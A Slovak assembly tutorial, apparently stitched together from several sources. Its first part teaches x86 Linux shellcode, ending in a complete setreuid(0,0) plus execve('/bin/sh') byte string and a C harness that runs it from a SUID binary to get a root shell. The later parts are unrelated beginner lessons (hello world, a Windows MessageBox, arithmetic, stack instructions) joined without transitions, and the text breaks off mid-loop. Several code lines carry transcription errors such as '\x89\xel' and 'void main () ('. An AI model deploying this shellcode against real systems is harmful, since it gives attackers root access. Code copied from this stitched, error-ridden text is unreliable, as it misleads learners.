Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:

• Priamym zápisom kódov inštrukcií.
• Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (viď článok), ktorým dostanete kódy inštrukcií.
• Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.

Priame písanie kódov inštrukcií je trochu extrémny šport – my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.

Systémové volania

Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:

• Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.
• Hardwarové pasce, napríklad pokus o delenie nulou.
• Softvérové pasce, napríklad požiadavka na spustenie procesu.

Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore /usr/include/asm/unistd:

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
 *  This file contains  the  system call  numbers.
 */
#define __NR_restart_syscall      0
#define __NR_exit		  1
#define __NR_fork		  2
#define __NR_read		  3
#define __NR_write		  4
#define __NR_open		  5
#define __NR_close		  6
#define __NR_waitpid		  7
#define __NR_creat		  8
#define __NR_link		  9
#define __NR_unlink		 10
#define __NR_execve		 11
#define __NR_chdir		 12
#define __NR_time		 13
#define __NR_mknod		 14
#define __NR_chmod		 15
#define __NR_lchown		 16
#define __NR_break		 17
#define __NR_oldstat		 18
#define __NR_lseek		 19
#define __NR_getpid		 20
#define __NR_mount		 21
#define __NR_umount		 22
#define __NR_setuid		 23
#define __NR_getuid		 24
#define __NR_stime		 25
/* atd. atd. */
#define __NR_setreuid		 70
/* atd. atd. */
#define __NR_socketcall		102

V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.

Systémové volania v C

V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami – stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu man – keby vás zaujímalo povedzme volanie execve, zadali by ste:

$man 2 execve

Tento príkaz zobrazí nasledujúce stránku:

EXECVE(2)                              Linux Programmer's Manuál       EXECVE(2)
NAME
                    execve - execute program
SYNOPSIS
                    #include 
                    int execve (const char *filename, char *const argv [], char *const envp[])
...

V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.

Systémové volania v assembleri

Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.

Akonáhle sú registre nastavené, príkazom

int 0x80

vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.

Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.

Systémové volanie exit

Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa exit a v jazyku C mu zodpovedá funkcia exit. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.

Systémové volania exit (0) v C zavoláte takto:

$ cat exit.c

#include <stdlib.h>
main () {
      exit(0);
}

Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:

$ gcc -static -o exit exit.c

Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu main, príkazom r spustite program a príkazom disass _exit si nechajte disassemblerovať funkciu _exit:

$ gdb exit  -q
(gdb)   b main
Breakpoint  1 at  0x80481d6
(gdb)   r
Starting program: /root/clanok/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function exit:
0x804c56c <_exit>	mov	0x4(%esp,1),%ebx
0x804c570 <_exit+4>	mov	$0xfc,%eax
0x804c575 <_exit+9>	int	$0x80
0x804c577 <_exit+11>	mov	$0x1,%eax
0x804c57c <_exit+16>	int	$0x80
0x804c57e <_exit+18>	hlt

Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0×1) a potom dôjde k prerušeniu (int $0×80). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie exit_group (systémové volanie čísla Oxfc resp. 252) – ta funguje uplně rovnako ako exit, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri

Prechod k assembleru

Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:

$ cat exit.asm

section .text ; zacina kod programu
global _start
_start: ; označením začiatku si ušetríme problémy s linkerom
xor eax, eax; bezpečná skratka pre vynulovanie registra EAX (pozri text)
xor ebx, ebx; bezpečná skratka pre vynulovanie registra EBX
mov al, 0x01; keď pracujeme len s jedným bajtom, vyhneme
    ; sa zarovnaniu na plných 32 bitov registra EAX (pozri text)
int 0x80; volanie jadra

Volanie funkcie exit_group sme vynechali, pretože nie je potreba. Použitím príkazu xor na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu mov ax, pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu mov eax, 0×01, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol b8 01 00 00 00, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.

Preklad, zostavenie a testovanie

Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:

$ nasm -f elf exit.asm
$ ld exit.o -o exit
$ ./exit

Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.

Sledovanie pomocou strace

Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:

$ strace ./exit
execve (./exit, [./exit], [/* 26 vars */]) = 0
_exit (0) = ?

Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.

Systémové volanie setreuid

Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú – preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo setreuid, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.

Parametre volania setreuid

Systémove volanie setreuid má číslo 70 (0×46, pozri súbor unistd.h vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.

Volanie z assembleru

Systémové volanie setreuid(0,0) vykoná nasledujúci kód v assembleri:

$ cat setreuid.asm

section. text; začiatok oddielu s kódom
global _start; deklarácia globálneho návestia
_start: ; aby linker nemusel hádať a nesťažoval si
xor eax, eax; vynulovať register EAX, aby sme ho mohli v ďalšom
  ; riadku nastaviť
mov al, 0x46; nastaviť spodný bajt EAX na číslo volania (0x46 = 70)
xor ebx, ebx; vynulovať register EBX
xor ecx, ecx; vynulovať register ECX
int 0x80; zavolať systém
mov al, 0x01; nastaviť číslo volania na jedna (exit)
int 0x80; zavolať systém

Ako vidíte, jednoducho naplníme registre a zavoláme int 0×80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.

Preklad, zostavenie a testovanie

Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:

$ nasm -f elf setreuid.asm
$ ld -o setreuid setreuid.o
$ ./setreuid

Overovanie pomocou strace

Navonok toho opäť moc nespoznáte, pomôže vám strace:

$ strace ./setreuid
execve(./setreuid, [./setreuid], [/* 26 vars */]) = 0
setreuid(0, 0) = 0
_exit (O) = ?

Presne ako sme čakali!

Spustenie shellu pomocou execve

Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie execve. My si pomocou tohto volania skúsime spustiť program /bin/sh.

Systémové volanie execve

Podľa man stránky by spustenie programu /bin/sh funkciou execve vyzeralo približne takto:

char* shell[2]; // pomocné pole na dva reťazce
shell[0] = "/bin/sh"; // prvy prvok poľa nastavíme na "/bin/sh"
shell[1] = NULL; // druhý prvok nastavíme na NULL
execve(shell[0], shell, NULL); // zavoláme execve

V assembleri by volanie execve vyzeralo nasledovne:

• EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.
• EBX = adresa reťazca /bin/sh uloženého niekde v pamäti.
• ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim /bin/sh a končí na null.
• EDX = jednoducho 0×0, pretože tretí parameter môže byť null.

Jediným problémom je zostavenie reťazca /bin/sh a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.

Volanie z assembleru

Nasledujúci assemblerový program najprv zavolá setreuid(0,0) a potom execve /bin/sh:

$ cat sc2.asm

section .text ; začiatok oddielu s kódom
global _start ; deklarácie globálneho návestí 
_start: ; označovanie kódu návestím je praktický zvyk
xor eax, eax ; vynulovanie registra EAX, príprava na ďalší riadok 
mov al, 0x46 ; systémové volanie číslo 0x46 alebo 70, jeden bajt
xor ebx, ebx ; vynulovanie registra ebx 
xor ecx, ecx ; vynulovanie registra ecx 
int 0x80 ; volanie systému
; spustenie shellu pomocou execve 
xor eax, eax ; vynulovanie registra eax 
push eax ; na vrchol zásobníka uložíme NULL 
push 0x68732f2f ; pridáme reťazec "//sh", doplnený úvodným lomítkom
push 0x6e69622f ; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) 
mov ebx, esp ; esp teraz ukazuje na "/bin/sh", takže ho uložíme do ebx
push eax ; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku
push ebx ; ešte raz adresa "/bin/sh", máme ju v ebx
mov ecx, esp ; adresa argv je v esp, uložíme ju do ecx
xor edx, edx ; nastavíme edx na nulu (NULL), nie je potreba 
mov al, 0xb ; systémové volanie 0xb = 11, jeden bajt
int 0x80 ; volanie systému

Ako vidíte, reťazec /bin/sh na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom //sh (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec /bin. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania execve pomocou elegantného využitia zásobníka a hodnôt registrov.

Preklad, zostavenie a testovanie

Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:

$ nasm -f elf sc2.asm 
$ ld -o sc2 sc2.o 
$ sudo chown root sc2 
$ sudo chmod +s sc2 
$ ./sc2 
sh-2.05b# exit
exit
$

Hurá! Funguje!

Ako získať kódy inštrukcií

Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:

$ objdump -d ./sc2
./sc2: file formát elf32-i386

Disassemblerovaná sekcia .text:

08048080 <_start>:		
8048080 31 cO xor %eax, %eax
8048082 bO 46 mov $0x46,%al
; atd

Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0×00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.

Testovanie shellkódu

Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.

$ cat sc2.c
char sc[] =  // biele znaky (napríklad konce riadkov) sa nepočítajú
// setreuid(0,0)
"\x31\xc0"      //     xor         %eax,%eax
"\xb0\x46"      //     mov         $0x46,%al
"\x31\xdb"      //     xor         %ebx,%ebx
"\x31\xc9"      //     xor         %ecx,%ecx
"\xcd\x80"      //     int         $0x80
// spustit shell pomocou execve
"\x31\xc0"     //     xor         %eax,%eax
"\x50"           //     push       %eax
"\x68\x2f\x2f\x73\x68"   //     push       $0x68732f2f
"\x68\x2f\x62\x69\x6e"  //     push       $0x6e69622f
"\x89\xe3"      //     mov         %esp,%ebx
"\x50"           //     push       %eax
"\x53"         //     push       %ebx
"\x89\xel"   //     mov         %esp,%ecx
"\x31\xd2"  //     xor         %edx,%edx
"\xb0\x0b"  //     mov         $0xb,%al
"\xcd\x80";  //     int         $0x80, podkočiarkou (;) končí reťazec

void main () ( 
     void (*fp) (void);   // deklarujeme ukazovateľ na funkciu, 
     fp = (void*) sc, / / nastavíme ho na adresu shellkódu 
     fp (); // a spustíme funkciu (alebo shellkód)
)

Program sa začne tým, že shellkód uloží do bufferu s menom sc. Ďalej vytvori ukazovateľ fp, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.

Kód si preložte a vyskúšajte:

$ gcc -o sc2 sc2.c 
$ sudo chown root sc2 
$ sudo chmod +s sc2 *
$ ./sc2
sh-2.05b# exit 
exit

Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.

WRITE (2) Linux Programmer’s Manual WRITE (2)
NAME
write – write to a file descriptor
Synopsis

#include <unistd.h>;
ssize_t write (int fd, const void *buf, size_t count);

Prvý zádrhel, píšeme v assembleri, ale manuálová stránka nám dáva prototyp systémového volania write v jazyku C. Ak nepoznáte jazyk C, bude sa vám prototyp čítať horšie, to však neznamená, že nebudete môcť vylúštiť, čo kam uložiť. V assembleri môžeme do registra zapísať buď priamo hodnotu alebo adresu. Myslím, že môžeme prijať zjednodušenie, že všetky parametre odovzdávame hodnotou, okrem parametrov označených hviezdičkou (to je ukazovateľ).
Funkcia write vyžaduje tri parametre, podobne ako v DOSe: identifikačné číslo súboru (handle), ukazovateľ (adresa) na dala, ktoré sa majú uložiť (vidíte, je tam napísané *buf), a počet bajtov, ktoré chceme zapísať. Výstupom funkcie je počet skutočne zapísaných byte alebo chyba. Poruchový stav rozpoznáme od zapísaných bajtov tak, že vždy ide o záporné číslo.
Zdrojový program preložíme překladačom NASM do objektového súboru, ktorý zostavíme zostavovacím programom ld. Získame tak spustiteľný súbor, ktorý na obrazovku vypíše Hello, World!

Pre preklad použijeme verziu prekladače NASM pre Linux. Objektový súbor typu elf vytvoríme prepínačom -f elf.
Program Id bude potrebovať adresu prvej inštrukcie, ktorá sa bude vykonávať po zavedení programu do pamäti. V zdrojovom programe označíme miesto prvej inštrukcie špeciálnym globálnom návestím _start.
Rovnako ako v OS DOS musíme program rozložiť do programových sekcií.
Program Hello, World! by mohol vyzerať takto:

SECTION .text 
global _start; aby linker vedel, kde je začiatok nášho programu, musíme definovať globálne symbol, _start 
_start: 
mov eax, 4; prvý parameter, čislo systémového volania 
mov EBX, 1; vieme, že konštanta STDOUT má hodnotu 1 
mov ecx, hello ; prekladač sem doplní adresu reťazca hello 
mov edx, 012 ; počet znakov reťazca Hello World! vrátane odradkovania
int 0x80 ; zavoláme jadro 
; pripojíme aj kód potrebný pre ukončenie programu 
mov eax, 1; číslo volania jadra - exit 
mov EBX, 0 ; návratový kód 0 
int 0x80 ; zavoláme jadro a tak ukončíme náš proces (program) 
 
SECTION .data 
hello db "Hello, world!", 0xa; náš reťazec vrátane nového riadku 
len equ $ - hello ;  symbolu len bude priradená dĺžka reťazca

Program preložíme ľahko:

nasm -f elf hello.asm

A zostavíme linker ld.

ld -s -o hello hello.o

Parameter -o udáva meno výsledného spustiteľného súboru. Parametrom -s chceme odstrániť všetky nepotrebné (symbolické) informácie.
Výsledný program môžeme spustiť príkazom:

./ Hello
Hello World!

Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess.
V dokumentácii k MessageBox sa dočítame:

int MessageBox ( 
IFWND hWnd, // handle of owner window 
LPCTSTR lpText, // address of text in message box 
LPCTSTR lpCaption, // address of title of message box 
UINT Utype // style of message box 
);

Prvým parametrom bude popisovač vlastného okna. Žiadny nemáme, preto predáme nulu. Druhým parametrom je ukazovateľ na text, ktorý sa v dialógovom okne zobrazí (klasický reťazec zakončený nulovým byte), tretím ukazovateľom je text titulku okna. Posledný parameter určuje typ dialógového okna (použijeme symbolickú konštantu MB_OK – z include súboru, viď ďalej).
Druhé volanie API funkcie ExitProcess, rovnako ako v DOSe, svojím jediným parametrom určuje chybový kód ukončeného programu. Po jeho zavolaní program skončí.
Aby bol život programátora v assembleri jednoduchší, bol vytvorený “include súbor” win32n.inc, v ktorom sú definované všetky typy parametrov API (napr. HWND aj LPCTSTR zodpovedajú v assembleri obyčajnému dvojslovu – dword) i hodnoty symbolických konštánt. Do programu tento súbor vložíme direktívou include:

%include "win32n.inc"; vložíme súbor win32n.inc

Použité API funkcie uložené v dynamických knižniciach nesmieme zabudnúť sprístupniť nášmu programu. Stačí použiť direktívy EXTERN a IMPORT:

EXTERN MessageBox ; symbol MessageBox je definovaný inde
IMPORT MessageBox user32.dll ; konkrétne v user32.dll
EXTERN ExitProcess ; symbol ExitProcess je definovaný inde
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll

Zostáva vyriešil jediný problém: Ako odovzdať API funkciám jednotlivé parametre. Zoznámime sa tu len stručne s odovzdávacími konvenciiami parametrov rozhrania Win32 API.
Predávaciia konvencia sa volá STDCALL. Parametre sa odovzdávajú cez zásobník sprava doľava (ako v jazyku C), vymazanie zásobníka vykonáva volaný (ako v jazyku Pascal).
Na zásobník uložíme parametre inštrukciami PUSH, požadovanú funkciu zavoláme nepriamo inštrukciou CALL, o vymazanie zásobníka sa nemusíme starať. Celý program bude vyzerať nasledovne (pro prekladac NASM):

% include "win32n.inc" ; vložíme súbor win32n.inc 
EXTERN MessageBox ; symbol MessageBox je definovaný inde
IMPORT MessageBox user32.dll ; konkrétne v user32.dll 
EXTERN ExitProcess  ; symbol ExitProcess je definovaný inde 
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll 
 
SECTION CODE USE32 CLASS = CODE ; začiatok kódovej sekcie 
.start: ; špeciálne návestie pre linker, ktoré označuje vstupný bod programu z (entrypointu) 
push UINT MB OK ; na zásobník uložíme posledný parameter, dialógové okno bude mať len tlačidlo OK 
push LPCTSTR titulok ; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako titulok okna 
push LPCTSTR napis ; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako text okna 
push HWND NULL ; na zásobník uložíme nulu, žiadne nadradené okno nemáme 
call [MessageBox] ; zavoláme API - vytvoríme dialógové okno návrat až po stlačení tlačidla OK
 
push  UINT NULL                                     ;vrátime  rodičovi  nulový  chybový  kód
call   [ExitProcess]                                  ;ukončíme proces
 
SECTION  DATA  USE32   CLASS=DATA
 
napis  db   'Hello  world',OxD,OxA,0 ;reťazec Hello,   World! vrátane odriadkovania 
titulek  db   'Hello", 0                                  ;titulok okna  bude  hello

Sečtěte dve 32bitová čísla uložené v premenných cislo1 a číslo2, výsledok uložíme do premennej vysledok (tiež 32-bitová premenná).

Riešenie príkladu musíme rozložiť do troch častí. V prvej naplníme vybrané registre požadovanými hodnotami, v druhej je sčítame, a v tretej časti zapíšeme výsledok. Výber registrov riadime veľkosťou použitých dát.

mov eax, [cislo1] ; pamätáte si? hranaté zátvorky znamenajú prístup do pamäte 
mov ebx, [cislo2]; do registra EBX načítame obsah druhej "premennej" 
add eax, ebx; EAX = EAX + EBX 
mov [vysledok], eax ; výsledok uložíme do "premennej" vysledok 
...
cislo1 dd 08; tu sme definovali "premennú" cislo1 a zároveň sme do nej vložili čislo 8 
cislo2 dd 2; do premennej "cislo2" sme vložili čislo 2 
vysledok dd 0; vysledok bude 8 + 2 = 010

Môžeme ušetriť register EBX, ak program prepíšeme takto:

mov eax, [cislo1]; nahraj hodnotu "premennej" cislo1 do registra EAX 
add eax, [cislo2] ; sčítaj register EAX a "premennu" číslo2 
mov [vysledok], eax ; výsledok ulož na adresu určenú symbolom vysledok
 
cislo1 dd 08 ; tu sme definovali "premennú" cislo1 a zároveň sme do nej vložili číslo 8
cislo2 dd 2  ; do premennej "cislo2" sme vložili číslo 2
vysledok dd 0 ; výsledok bude 8 + 2 = 010

Určenie či je číslo párne alebo nepárne

Príklad: Určite, či je v registri AX uložené číslo párne alebo nepárne!
Každé nepárne číslo má najnižší bit nastavený na 1. Inštrukciou SHR môžeme tento bit presunúť do príznaku prenosu CF (carry) a vykonať podmienený skok podľa príznaku prenosu inštrukciou JC.

push ax; nechceme stratiť hodnotu v registri AX, uložíme ju na zásobník 
shr ax, 1    ; najnižší bit sa presunul do príznaku CF 
pop ax      ; do registra AX vrátime pôvodnú hodnotu, register príznakov inštrukcie POP nemení. 
jc neparne ; ak jepríznak nastavený, číslo je nepárne 
sude:      ; tu môže nasledovať nejaká akcia, ak je párne 
neparne:  ; tu bude program pokračovať, ak je v AX číslo nepárne.

Ako už býva zvykom, program môžeme zapísať aj oveľa jednoduchšie:

test al, 1 ; najnižší bit bitovej masky bude jedna, vykonáme inštrukciu TEST 
jz je_parne ; príznak nuly ZF (zero flag) bude nastavený, ak bude najnižší bit nula, číslo bude párne 
neparne: 
....
je_parne: ; program bude pokračovať tu, ak bude číslo v AX párne.

Všimnime si, že sme testovali len register AL, nie celý AX. Vyššie bity registra AX sú pre nás nezaujímavé, a preto sme mohli testovať len register AL.

Inštrukcie CALL a RET používame na implementáciu podprogramov. Inštrukcia CALL má jeden, zvyčajne priamy operand (ako u inštrukcii skoku sa pripúšťa operand v registri alebo v pamäti), ktorým je adresa miesta v pamäti, kam sa odovzdá riadenie. Na rozdiel od inštrukcie JMP sa do zásobníka uloží hodnota registra IP (EIP) nasledujúcej inštrukcie po inštrukcii CALL.
Parameter typ volania je podobný ako u inštrukcie JMP, ak nie je uvedený, bude sa predpokladať typ volania near, a preto sa bude ukladať a meniť iba register IP (EIP). Pri typu volania far sa na zásobník okrem registra IP (EIP) uloží aj hodnota segmentového registra CS (adresa volania sa lak bude pozostávať z hodnoty pre register IP (EIP) a hodnoty pre register CS).
Návrat z podprogramu zabezpečuje inštrukcia RET, ktorá zo zásobníka vyberie hodnotu z vrcholu a tu uloží do registra IP (EIP), čím sa začnú vykonávať inštrukcie uložené za volajúcou inštrukciou CALL. Pre návrat z podprogramu, ktorý bol privolaný inštrukciou CALL far musíme obnoviť aj pôvodnú hodnotu registra CS, čo môžeme zabezpečiť použitím inštrukcie RETF, ktorá zo zásobníka najprv vyberie hodnotu a uloží ju do registra IP, a potom vyberie ešte jednu, ktorú uloží do registra CS.
Situáciu môžeme ešte trochu skomplikovať.
Inštrukcie RET alebo RETF môžu mať ako priamy operand počet položiek, ktoré sa majú zo zásobníka vybrať po naplnení registra IP (EIP) (alebo aj SK). Tento špeciálny tvar inštrukcie RET využijeme až neskôr, kde si povieme o možnostiach prepojenia vyšších programovacích jazykov a assembleru.

Ukážme si použitie inštrukcií CALL a RET na príklade:
Pomocou podprogramu sčítame dve čísla uložené v registroch EAX a EBX, výsledok súčtu uložíme v registri ECX (ignoruje pretečenie). Hodnoty uložené v registroch EAX a EBX musia byť zachované aj po návrate z podprogramu.
Vytvoríme podprogram sčítaj. Najskôr musíme vyriešiť odovzdávanie parametrov podprogramu. Vo vyšších programovacích jazykoch sa pre odovzdanie parametra používa zásobník, my si zatiaľ vystačíme s dohodnutými registrami. Akonáhle vykonáme inštrukciu pre sčítanie ADD, bude jedna hodnota operanda prepísaná výsledkom. Využijeme zásobník a hodnotu uloženú v danom registri si uložíme a neskôr opäť obnovíme.

scitaj:
push eax; uložíme hodnotu registra EAX na zásobník 
add eax, EBX; sčítame EAX a EBX, výsledok bude v EAX 
mov ecx, eax; výsledok z EAX uložíme do ECX 
pop eax; obnovíme pôvodnú hodnotu v registri EAX 
ret ; návrat z podprogramu.

Podprogram scitaj vyskúšame s hodnotami 4 a 8.

mov eax, 4; do EAX uložíme 4 
mov EBX, 8; EBX = 8 
call scitaj ; zavoláme podprogram scitaj 
;Výsledok bude uložený v registri ECX a bude JIRRA. 
; hodnota ECX = OxOOOOOOOC

Čo by sa stalo keby sme vynechali inštrukciu POP eax? Inštrukcia RET by tak predala riadenie na adresu, ktorá bola pôvodne uložená v registri EAX, čo by viedlo k pádu programu a v horšom prípade pádu systému. Podobne opomenutie inštrukcie RET by viedlo k vykonávanie inštrukcií dávno nepatria nášmu podprogramu, čo tiež ľahko (a celkom určite) vedie k pádu programu (to sa veľmi často využíva crackarmi a hackermi).
Podprogram scitaj možno v našom jednoduchom prípade zjednodušiť tak, že sa zaobídeme bez inštrukcií PUSH a POP:

scitaj: 
mov ecx, eax ; hodnotu registra EAX (prvý parameter) prekopírujete do registra ECX 
add ecx, EBX ; a sčítame s druhým parametrom v registri EBX, 
; výsledok bude v požadovanom registri ECX 
ret ; návrat z podprogramu.

Pomocou inštrukcie PUSH môžeme na zásobník uložiť ľubovoľný 16-bitový alebo 32-bitový register alebo obsah pamäťového miesta (nepoužíva sa príliš často).

push eax; na zásobník uložíme register EAX

Inštrukciu push môžeme rozpísať inštrukciami:

sub esp, 4; zníž ESP o 4 
mov [ss: esp], eax; zapíš do zásobníka hodnotu registra EAX

alebo všeobecnejšie (pomocou operátora sizeof, požičaného z vyšších prog. jazykov):

push ol

môžeme zapísať ako

(E) SP = (E) SP-sizeof (ol)
ol -> SS: [(E) SP]

Inštrukcia POP presunie do operanda hodnotu (obsah) z vrcholu zásobníka a vrcholom zásobníka sa stane hodnota uložená na vyššej adrese. Inštrukcia POP môže mať rovnaký typ operandov ako inštrukcia PUSH.

Opäť možno inštrukciu POP prepísať pomocou inštrukcií MOV a ADD:

mov eax, [ss: esp]; načítaj z vrcholu zásobníka do registra EAX 
add esp, 4; "smaž" najvyššie dvojslovo zo zásobníka

Uveďme si niekoľko príkladov.

push eax; na zásobník ulož hodnotu uloženú v registri EAX 
push esi; na zásobník ulož hodnotu registra ESI 
pop eax; zo zásobníka vyber hodnotu a ulož ju v registri EAX 
pop esi; zo zásobníka vyber hodnotu a ulož ju v registri ESI

Pripomeňme si, že na zásobník nie je možné pomocou inštrukcie PUSH uložiť 8-bitové registre a ani nemožno priamo uložiť obsah registra IP (EIP) (instruction pointer, ukazovateľ na ďalšiu inštrukciu). Inštrukcie PUSH / POP ip alebo PUSH / POP EIP neexistujú (možno ich ale nahradiť inak, viď ďalej).

Instrukcie PUSHA/POPA a PUSHAD/POPAD

Syntax:
PUSHA
POPA

Niekedy potrebujeme uložiť všetky univerzálne registre na zásobník. Na tento účel je mikroprocesor vybavený inštrukciami PUSH a POPA, ktoré na zásobník uloží (PUSHA) alebo zo zásobníka obnoví (POPA) hodnoty všetkých univerzálnych 16-bitových registrov. Inštrukcie PUSH a POPA nemajú žiadny voliteľný operand.

Inštrukcie PUSH / POPA boli zavedené v predchodcovi procesoru 80386, a preto neukladá 32-bitové registre (nemôže, pretože neexistovali). Ak ich cheme uložiť alebo vybrať, tak musíme použiť “nové” inštrukcie PUSHAD a POP AD.

Poradie ukladaných registrov na zásobníka od vrcholu nadol je:
(E)AX, (E)CX, (E)DX, (E)BX, pôvodné (E)SP, (E)BP, (E)SI, (E)DI

pusha; uložíme na zásobník obsah všetkých univerzálnych registrov
; urobíme veľké zmeny (napríklad komplikovaný výpočet,; ktorý zmení väčšinu hodnôt univerzálnych registrov) 
popa; zase všetky registre obnovíme

for_start: 
mov ecx, 0 ; naplníme register ECX nulou 
for_cyklus: ; na toto návestie sa budeme vracať 
... ; tu budeme vykonávať príkazy v FOR-cykle 
inc ecx ; ECX zvýšime o 1 
cmp ecx, 10 ; porovnáme ECX s 10 
